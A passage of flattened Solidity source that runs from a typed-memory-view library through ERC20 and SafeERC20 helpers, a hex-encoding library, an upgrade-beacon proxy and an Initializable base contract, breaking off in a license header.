0x35;} // 5 if (_nibble == 0xf6) {return 0x36;} // 6 if (_nibble == 0xf7) {return 0x37;} // 7 if (_nibble == 0xf8) {return 0x38;} // 8 if (_nibble == 0xf9) {return 0x39;} // 9 if (_nibble == 0xfa) {return 0x61;} // a if (_nibble == 0xfb) {return 0x62;} // b if (_nibble == 0xfc) {return 0x63;} // c if (_nibble == 0xfd) {return 0x64;} // d if (_nibble == 0xfe) {return 0x65;} // e if (_nibble == 0xff) {return 0x66;} // f } /** * @notice Returns a uint16 containing the hex-encoded byte. * @param _b The byte * @return encoded - The hex-encoded byte */ function byteHex(uint8 _b) internal pure returns (uint16 encoded) { encoded |= nibbleHex(_b >> 4); // top 4 bits encoded <<= 8; encoded |= nibbleHex(_b); // lower 4 bits } /** * @notice Encodes the uint256 to hex. `first` contains the encoded top 16 bytes. * `second` contains the encoded lower 16 bytes. * * @param _b The 32 bytes as uint256 * @return first - The top 16 bytes * @return second - The bottom 16 bytes */ function encodeHex(uint256 _b) internal pure returns (uint256 first, uint256 second) { for (uint8 i = 31; i > 15; i -= 1) { uint8 _byte = uint8(_b >> (i * 8)); first |= byteHex(_byte); if (i != 16) { first <<= 16; } } // abusing underflow here =_= for (uint8 i = 15; i < 255 ; i -= 1) { uint8 _byte = uint8(_b >> (i * 8)); second |= byteHex(_byte); if (i != 0) { second <<= 16; } } } /** * @notice Changes the endianness of a uint256. * @dev https://graphics.stanford.edu/~seander/bithacks.html#ReverseParallel * @param _b The unsigned integer to reverse * @return v - The reversed value */ function reverseUint256(uint256 _b) internal pure returns (uint256 v) { v = _b; // swap bytes v = ((v >> 8) & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) | ((v & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) << 8); // swap 2-byte long pairs v = ((v >> 16) & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) | ((v & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) << 16); // swap 4-byte long pairs v = ((v >> 32) & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) | ((v & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) << 32); // swap 8-byte long pairs v = ((v >> 64) & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) | ((v & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) << 64); // swap 16-byte long pairs v = (v >> 128) | (v << 128); } /** * @notice Create a mask with the highest `_len` bits set. * @param _len The length * @return mask - The mask */ function leftMask(uint8 _len) private pure returns (uint256 mask) { // ugly. redo without assembly? assembly { // solium-disable-previous-line security/no-inline-assembly mask := sar( sub(_len, 1), 0x8000000000000000000000000000000000000000000000000000000000000000 ) } } /** * @notice Return the null view. * @return bytes29 - The null view */ function nullView() internal pure returns (bytes29) { return NULL; } /** * @notice Check if the view is null. * @return bool - True if the view is null */ function isNull(bytes29 memView) internal pure returns (bool) { return memView == NULL; } /** * @notice Check if the view is not null. * @return bool - True if the view is not null */ function notNull(bytes29 memView) internal pure returns (bool) { return !isNull(memView); } /** * @notice Check if the view is of a valid type and points to a valid location * in memory. * @dev We perform this check by examining solidity's unallocated memory * pointer and ensuring that the view's upper bound is less than that. * @param memView The view * @return ret - True if the view is valid */ function isValid(bytes29 memView) internal pure returns (bool ret) { if (typeOf(memView) == 0xffffffffff) {return false;} uint256 _end = end(memView); assembly { // solium-disable-previous-line security/no-inline-assembly ret := not(gt(_end, mload(0x40))) } } /** * @notice Require that a typed memory view be valid. * @dev Returns the view for easy chaining. * @param memView The view * @return bytes29 - The validated view */ function assertValid(bytes29 memView) internal pure returns (bytes29) { require(isValid(memView), "Validity assertion failed"); return memView; } /** * @notice Return true if the memview is of the expected type. Otherwise false. * @param memView The view * @param _expected The expected type * @return bool - True if the memview is of the expected type */ function isType(bytes29 memView, uint40 _expected) internal pure returns (bool) { return typeOf(memView) == _expected; } /** * @notice Require that a typed memory view has a specific type. * @dev Returns the view for easy chaining. * @param memView The view * @param _expected The expected type * @return bytes29 - The view with validated type */ function assertType(bytes29 memView, uint40 _expected) internal pure returns (bytes29) { if (!isType(memView, _expected)) { (, uint256 g) = encodeHex(uint256(typeOf(memView))); (, uint256 e) = encodeHex(uint256(_expected)); string memory err = string( abi.encodePacked( "Type assertion failed. Got 0x", uint80(g), ". Expected 0x", uint80(e) ) ); revert(err); } return memView; } /** * @notice Return an identical view with a different type. * @param memView The view * @param _newType The new type * @return newView - The new view with the specified type */ function castTo(bytes29 memView, uint40 _newType) internal pure returns (bytes29 newView) { // then | in the new type assembly { // solium-disable-previous-line security/no-inline-assembly // shift off the top 5 bytes newView := or(newView, shr(40, shl(40, memView))) newView := or(newView, shl(216, _newType)) } } /** * @notice Unsafe raw pointer construction. This should generally not be called * directly. Prefer `ref` wherever possible. * @dev Unsafe raw pointer construction. This should generally not be called * directly. Prefer `ref` wherever possible. * @param _type The type * @param _loc The memory address * @param _len The length * @return newView - The new view with the specified type, location and length */ function unsafeBuildUnchecked(uint256 _type, uint256 _loc, uint256 _len) private pure returns (bytes29 newView) { assembly { // solium-disable-previous-line security/no-inline-assembly newView := shl(96, or(newView, _type)) // insert type newView := shl(96, or(newView, _loc)) // insert loc newView := shl(24, or(newView, _len)) // empty bottom 3 bytes } } /** * @notice Instantiate a new memory view. This should generally not be called * directly. Prefer `ref` wherever possible. * @dev Instantiate a new memory view. This should generally not be called * directly. Prefer `ref` wherever possible. * @param _type The type * @param _loc The memory address * @param _len The length * @return newView - The new view with the specified type, location and length */ function build(uint256 _type, uint256 _loc, uint256 _len) internal pure returns (bytes29 newView) { uint256 _end = _loc.add(_len); assembly { // solium-disable-previous-line security/no-inline-assembly if gt(_end, mload(0x40)) { _end := 0 } } if (_end == 0) { return NULL; } newView = unsafeBuildUnchecked(_type, _loc, _len); } /** * @notice Instantiate a memory view from a byte array. * @dev Note that due to Solidity memory representation, it is not possible to * implement a deref, as the `bytes` type stores its len in memory. * @param arr The byte array * @param newType The type * @return bytes29 - The memory view */ function ref(bytes memory arr, uint40 newType) internal pure returns (bytes29) { uint256 _len = arr.length; uint256 _loc; assembly { // solium-disable-previous-line security/no-inline-assembly _loc := add(arr, 0x20) // our view is of the data, not the struct } return build(newType, _loc, _len); } /** * @notice Return the associated type information. * @param memView The memory view * @return _type - The type associated with the view */ function typeOf(bytes29 memView) internal pure returns (uint40 _type) { assembly { // solium-disable-previous-line security/no-inline-assembly // 216 == 256 - 40 _type := shr(216, memView) // shift out lower 24 bytes } } /** * @notice Optimized type comparison. Checks that the 5-byte type flag is equal. * @param left The first view * @param right The second view * @return bool - True if the 5-byte type flag is equal */ function sameType(bytes29 left, bytes29 right) internal pure returns (bool) { return (left ^ right) >> (2 * TWELVE_BYTES) == 0; } /** * @notice Return the memory address of the underlying bytes. * @param memView The view * @return _loc - The memory address */ function loc(bytes29 memView) internal pure returns (uint96 _loc) { uint256 _mask = LOW_12_MASK; // assembly can't use globals assembly { // solium-disable-previous-line security/no-inline-assembly // 120 bits = 12 bytes (the encoded loc) + 3 bytes (empty low space) _loc := and(shr(120, memView), _mask) } } /** * @notice The number of memory words this memory view occupies, rounded up. * @param memView The view * @return uint256 - The number of memory words */ function words(bytes29 memView) internal pure returns (uint256) { return uint256(len(memView)).add(32) / 32; } /** * @notice The in-memory footprint of a fresh copy of the view. * @param memView The view * @return uint256 - The in-memory footprint of a fresh copy of the view. */ function footprint(bytes29 memView) internal pure returns (uint256) { return words(memView) * 32; } /** * @notice The number of bytes of the view. * @param memView The view * @return _len - The length of the view */ function len(bytes29 memView) internal pure returns (uint96 _len) { uint256 _mask = LOW_12_MASK; // assembly can't use globals assembly { // solium-disable-previous-line security/no-inline-assembly _len := and(shr(24, memView), _mask) } } /** * @notice Returns the endpoint of `memView`. * @param memView The view * @return uint256 - The endpoint of `memView` */ function end(bytes29 memView) internal pure returns (uint256) { return loc(memView) + len(memView); } /** * @notice Safe slicing without memory modification. * @param memView The view * @param _index The start index * @param _len The length * @param newType The new type * @return bytes29 - The new view */ function slice(bytes29 memView, uint256 _index, uint256 _len, uint40 newType) internal pure returns (bytes29) { uint256 _loc = loc(memView); // Ensure it doesn't overrun the view if (_loc.add(_index).add(_len) > end(memView)) { return NULL; } _loc = _loc.add(_index); return build(newType, _loc, _len); } /** * @notice Shortcut to `slice`. Gets a view representing the first `_len` bytes. * @param memView The view * @param _len The length * @param newType The new type * @return bytes29 - The new view */ function prefix(bytes29 memView, uint256 _len, uint40 newType) internal pure returns (bytes29) { return slice(memView, 0, _len, newType); } /** * @notice Shortcut to `slice`. Gets a view representing the last `_len` byte. * @param memView The view * @param _len The length * @param newType The new type * @return bytes29 - The new view */ function postfix(bytes29 memView, uint256 _len, uint40 newType) internal pure returns (bytes29) { return slice(memView, uint256(len(memView)).sub(_len), _len, newType); } /** * @notice Construct an error message for an indexing overrun. * @param _loc The memory address * @param _len The length * @param _index The index * @param _slice The slice where the overrun occurred * @return err - The err */ function indexErrOverrun( uint256 _loc, uint256 _len, uint256 _index, uint256 _slice ) internal pure returns (string memory err) { (, uint256 a) = encodeHex(_loc); (, uint256 b) = encodeHex(_len); (, uint256 c) = encodeHex(_index); (, uint256 d) = encodeHex(_slice); err = string( abi.encodePacked( "TypedMemView/index - Overran the view. Slice is at 0x", uint48(a), " with length 0x", uint48(b), ". Attempted to index at offset 0x", uint48(c), " with length 0x", uint48(d), "." ) ); } /** * @notice Load up to 32 bytes from the view onto the stack. * @dev Returns a bytes32 with only the `_bytes` highest bytes set. * This can be immediately cast to a smaller fixed-length byte array. * To automatically cast to an integer, use `indexUint`. * @param memView The view * @param _index The index * @param _bytes The bytes * @return result - The 32 byte result */ function index(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (bytes32 result) { if (_bytes == 0) {return bytes32(0);} if (_index.add(_bytes) > len(memView)) { revert(indexErrOverrun(loc(memView), len(memView), _index, uint256(_bytes))); } require(_bytes <= 32, "TypedMemView/index - Attempted to index more than 32 bytes"); uint8 bitLength = _bytes * 8; uint256 _loc = loc(memView); uint256 _mask = leftMask(bitLength); assembly { // solium-disable-previous-line security/no-inline-assembly result := and(mload(add(_loc, _index)), _mask) } } /** * @notice Parse an unsigned integer from the view at `_index`. * @dev Requires that the view have >= `_bytes` bytes following that index. * @param memView The view * @param _index The index * @param _bytes The bytes * @return result - The unsigned integer */ function indexUint(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (uint256 result) { return uint256(index(memView, _index, _bytes)) >> ((32 - _bytes) * 8); } /** * @notice Parse an unsigned integer from LE bytes. * @param memView The view * @param _index The index * @param _bytes The bytes * @return result - The unsigned integer */ function indexLEUint(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (uint256 result) { return reverseUint256(uint256(index(memView, _index, _bytes))); } /** * @notice Parse an address from the view at `_index`. Requires that the view have >= 20 bytes * following that index. * @param memView The view * @param _index The index * @return address - The address */ function indexAddress(bytes29 memView, uint256 _index) internal pure returns (address) { return address(uint160(indexUint(memView, _index, 20))); } /** * @notice Return the keccak256 hash of the underlying memory * @param memView The view * @return digest - The keccak256 hash of the underlying memory */ function keccak(bytes29 memView) internal pure returns (bytes32 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly digest := keccak256(_loc, _len) } } /** * @notice Return the sha2 digest of the underlying memory. * @dev We explicitly deallocate memory afterwards. * @param memView The view * @return digest - The sha2 hash of the underlying memory */ function sha2(bytes29 memView) internal view returns (bytes32 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 #1 digest := mload(ptr) } } /** * @notice Implements bitcoin's hash160 (rmd160(sha2())) * @param memView The pre-image * @return digest - the Digest */ function hash160(bytes29 memView) internal view returns (bytes20 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 pop(staticcall(gas(), 3, ptr, 0x20, ptr, 0x20)) // rmd160 digest := mload(add(ptr, 0xc)) // return value is 0-prefixed. } } /** * @notice Implements bitcoin's hash256 (double sha2) * @param memView A view of the preimage * @return digest - the Digest */ function hash256(bytes29 memView) internal view returns (bytes32 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 #1 pop(staticcall(gas(), 2, ptr, 0x20, ptr, 0x20)) // sha2 #2 digest := mload(ptr) } } /** * @notice Return true if the underlying memory is equal. Else false. * @param left The first view * @param right The second view * @return bool - True if the underlying memory is equal */ function untypedEqual(bytes29 left, bytes29 right) internal pure returns (bool) { return (loc(left) == loc(right) && len(left) == len(right)) || keccak(left) == keccak(right); } /** * @notice Return false if the underlying memory is equal. Else true. * @param left The first view * @param right The second view * @return bool - False if the underlying memory is equal */ function untypedNotEqual(bytes29 left, bytes29 right) internal pure returns (bool) { return !untypedEqual(left, right); } /** * @notice Compares type equality. * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. * @param left The first view * @param right The second view * @return bool - True if the types are the same */ function equal(bytes29 left, bytes29 right) internal pure returns (bool) { return left == right || (typeOf(left) == typeOf(right) && keccak(left) == keccak(right)); } /** * @notice Compares type inequality. * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. * @param left The first view * @param right The second view * @return bool - True if the types are not the same */ function notEqual(bytes29 left, bytes29 right) internal pure returns (bool) { return !equal(left, right); } /** * @notice Copy the view to a location, return an unsafe memory reference * @dev Super Dangerous direct memory access. * * This reference can be overwritten if anything else modifies memory (!!!). * As such it MUST be consumed IMMEDIATELY. * This function is private to prevent unsafe usage by callers. * @param memView The view * @param _newLoc The new location * @return written - the unsafe memory reference */ function unsafeCopyTo(bytes29 memView, uint256 _newLoc) private view returns (bytes29 written) { require(notNull(memView), "TypedMemView/copyTo - Null pointer deref"); require(isValid(memView), "TypedMemView/copyTo - Invalid pointer deref"); uint256 _len = len(memView); uint256 _oldLoc = loc(memView); uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // revert if we're writing in occupied memory if gt(ptr, _newLoc) { revert(0x60, 0x20) // empty revert message } // use the identity precompile to copy // guaranteed not to fail, so pop the success pop(staticcall(gas(), 4, _oldLoc, _len, _newLoc, _len)) } written = unsafeBuildUnchecked(typeOf(memView), _newLoc, _len); } /** * @notice Copies the referenced memory to a new loc in memory, returning a `bytes` pointing to * the new memory * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. * @param memView The view * @return ret - The view pointing to the new memory */ function clone(bytes29 memView) internal view returns (bytes memory ret) { uint256 ptr; uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer ret := ptr } unsafeCopyTo(memView, ptr + 0x20); assembly { // solium-disable-previous-line security/no-inline-assembly mstore(0x40, add(add(ptr, _len), 0x20)) // write new unused pointer mstore(ptr, _len) // write len of new array (in bytes) } } /** * @notice Join the views in memory, return an unsafe reference to the memory. * @dev Super Dangerous direct memory access. * * This reference can be overwritten if anything else modifies memory (!!!). * As such it MUST be consumed IMMEDIATELY. * This function is private to prevent unsafe usage by callers. * @param memViews The views * @return unsafeView - The conjoined view pointing to the new memory */ function unsafeJoin(bytes29[] memory memViews, uint256 _location) private view returns (bytes29 unsafeView) { assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) // revert if we're writing in occupied memory if gt(ptr, _location) { revert(0x60, 0x20) // empty revert message } } uint256 _offset = 0; for (uint256 i = 0; i < memViews.length; i ++) { bytes29 memView = memViews[i]; unsafeCopyTo(memView, _location + _offset); _offset += len(memView); } unsafeView = unsafeBuildUnchecked(0, _location, _offset); } /** * @notice Produce the keccak256 digest of the concatenated contents of multiple views. * @param memViews The views * @return bytes32 - The keccak256 digest */ function joinKeccak(bytes29[] memory memViews) internal view returns (bytes32) { uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer } return keccak(unsafeJoin(memViews, ptr)); } /** * @notice Produce the sha256 digest of the concatenated contents of multiple views. * @param memViews The views * @return bytes32 - The sha256 digest */ function joinSha2(bytes29[] memory memViews) internal view returns (bytes32) { uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer } return sha2(unsafeJoin(memViews, ptr)); } /** * @notice copies all views, joins them into a new bytearray. * @param memViews The views * @return ret - The new byte array */ function join(bytes29[] memory memViews) internal view returns (bytes memory ret) { uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer } bytes29 _newView = unsafeJoin(memViews, ptr + 0x20); uint256 _written = len(_newView); uint256 _footprint = footprint(_newView); assembly { // solium-disable-previous-line security/no-inline-assembly // store the legnth mstore(ptr, _written) // new pointer is old + 0x20 + the footprint of the body mstore(0x40, add(add(ptr, _footprint), 0x20)) ret := ptr } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; library Encoding { // ============ Constants ============ bytes private constant NIBBLE_LOOKUP = "0123456789abcdef"; // ============ Internal Functions ============ /** * @notice Encode a uint32 in its DECIMAL representation, with leading * zeroes. * @param _num The number to encode * @return _encoded The encoded number, suitable for use in abi. * encodePacked */ function decimalUint32(uint32 _num) internal pure returns (uint80 _encoded) { uint80 ASCII_0 = 0x30; // all over/underflows are impossible // this will ALWAYS produce 10 decimal characters for (uint8 i = 0; i < 10; i += 1) { _encoded |= ((_num % 10) + ASCII_0) << (i * 8); _num = _num / 10; } } /** * @notice Encodes the uint256 to hex. `first` contains the encoded top 16 bytes. * `second` contains the encoded lower 16 bytes. * @param _bytes The 32 bytes as uint256 * @return _firstHalf The top 16 bytes * @return _secondHalf The bottom 16 bytes */ function encodeHex(uint256 _bytes) internal pure returns (uint256 _firstHalf, uint256 _secondHalf) { for (uint8 i = 31; i > 15; i -= 1) { uint8 _b = uint8(_bytes >> (i * 8)); _firstHalf |= _byteHex(_b); if (i != 16) { _firstHalf <<= 16; } } // abusing underflow here =_= for (uint8 i = 15; i < 255; i -= 1) { uint8 _b = uint8(_bytes >> (i * 8)); _secondHalf |= _byteHex(_b); if (i != 0) { _secondHalf <<= 16; } } } /** * @notice Returns the encoded hex character that represents the lower 4 bits of the argument. * @param _byte The byte * @return _char The encoded hex character */ function _nibbleHex(uint8 _byte) private pure returns (uint8 _char) { uint8 _nibble = _byte & 0x0f; // keep bottom 4, 0 top 4 _char = uint8(NIBBLE_LOOKUP[_nibble]); } /** * @notice Returns a uint16 containing the hex-encoded byte. * @param _byte The byte * @return _encoded The hex-encoded byte */ function _byteHex(uint8 _byte) private pure returns (uint16 _encoded) { _encoded |= _nibbleHex(_byte >> 4); // top 4 bits _encoded <<= 8; _encoded |= _nibbleHex(_byte); // lower 4 bits } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // ============ External Imports ============ import {Address} from "@openzeppelin/contracts/utils/Address.sol"; /** * @title UpgradeBeaconProxy * @notice * Proxy contract which delegates all logic, including initialization, * to an implementation contract. * The implementation contract is stored within an Upgrade Beacon contract; * the implementation contract can be changed by performing an upgrade on the Upgrade Beacon contract. * The Upgrade Beacon contract for this Proxy is immutably specified at deployment. * @dev This implementation combines the gas savings of keeping the UpgradeBeacon address outside of contract storage * found in 0age's implementation: * https://github.com/dharma-eng/dharma-smart-wallet/blob/master/contracts/proxies/smart-wallet/UpgradeBeaconProxyV1.sol * With the added safety checks that the UpgradeBeacon and implementation are contracts at time of deployment * found in OpenZeppelin's implementation: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/beacon/BeaconProxy.sol */ contract UpgradeBeaconProxy { // ============ Immutables ============ // Upgrade Beacon address is immutable (therefore not kept in contract storage) address private immutable upgradeBeacon; // ============ Constructor ============ /** * @notice Validate that the Upgrade Beacon is a contract, then set its * address immutably within this contract. * Validate that the implementation is also a contract, * Then call the initialization function defined at the implementation. * The deployment will revert and pass along the * revert reason if the initialization function reverts. * @param _upgradeBeacon Address of the Upgrade Beacon to be stored immutably in the contract * @param _initializationCalldata Calldata supplied when calling the initialization function */ constructor(address _upgradeBeacon, bytes memory _initializationCalldata) payable { // Validate the Upgrade Beacon is a contract require(Address.isContract(_upgradeBeacon), "beacon !contract"); // set the Upgrade Beacon upgradeBeacon = _upgradeBeacon; // Validate the implementation is a contract address _implementation = _getImplementation(_upgradeBeacon); require( Address.isContract(_implementation), "beacon implementation !contract" ); // Call the initialization function on the implementation if (_initializationCalldata.length > 0) { _initialize(_implementation, _initializationCalldata); } } // ============ External Functions ============ /** * @notice Forwards all calls with data to _fallback() * No public functions are declared on the contract, so all calls hit fallback */ fallback() external payable { _fallback(); } /** * @notice Forwards all calls with no data to _fallback() */ receive() external payable { _fallback(); } // ============ Private Functions ============ /** * @notice Call the initialization function on the implementation * Used at deployment to initialize the proxy * based on the logic for initialization defined at the implementation * @param _implementation - Contract to which the initalization is delegated * @param _initializationCalldata - Calldata supplied when calling the initialization function */ function _initialize( address _implementation, bytes memory _initializationCalldata ) private { // Delegatecall into the implementation, supplying initialization calldata. (bool _ok, ) = _implementation.delegatecall(_initializationCalldata); // Revert and include revert data if delegatecall to implementation reverts. if (!_ok) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } /** * @notice Delegates function calls to the implementation contract returned by the Upgrade Beacon */ function _fallback() private { _delegate(_getImplementation()); } /** * @notice Delegate function execution to the implementation contract * @dev This is a low level function that doesn't return to its internal * call site. It will return whatever is returned by the implementation to the * external caller, reverting and returning the revert data if implementation * reverts. * @param _implementation - Address to which the function execution is delegated */ function _delegate(address _implementation) private { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Delegatecall to the implementation, supplying calldata and gas. // Out and outsize are set to zero - instead, use the return buffer. let result := delegatecall( gas(), _implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data from the return buffer. returndatacopy(0, 0, returndatasize()) switch result // Delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @notice Call the Upgrade Beacon to get the current implementation contract address * @return _implementation Address of the current implementation. */ function _getImplementation() private view returns (address _implementation) { _implementation = _getImplementation(upgradeBeacon); } /** * @notice Call the Upgrade Beacon to get the current implementation contract address * @dev _upgradeBeacon is passed as a parameter so that * we can also use this function in the constructor, * where we can't access immutable variables. * @param _upgradeBeacon Address of the UpgradeBeacon storing the current implementation * @return _implementation Address of the current implementation. */ function _getImplementation(address _upgradeBeacon) private view returns (address _implementation) { // Get the current implementation address from the upgrade beacon. (bool _ok, bytes memory _returnData) = _upgradeBeacon.staticcall(""); // Revert and pass along revert message if call to upgrade beacon reverts. require(_ok, string(_returnData)); // Set the implementation to the address returned from the upgrade beacon. _implementation = abi.decode(_returnData, (address)); } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.10; /* The MIT License (MIT) Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 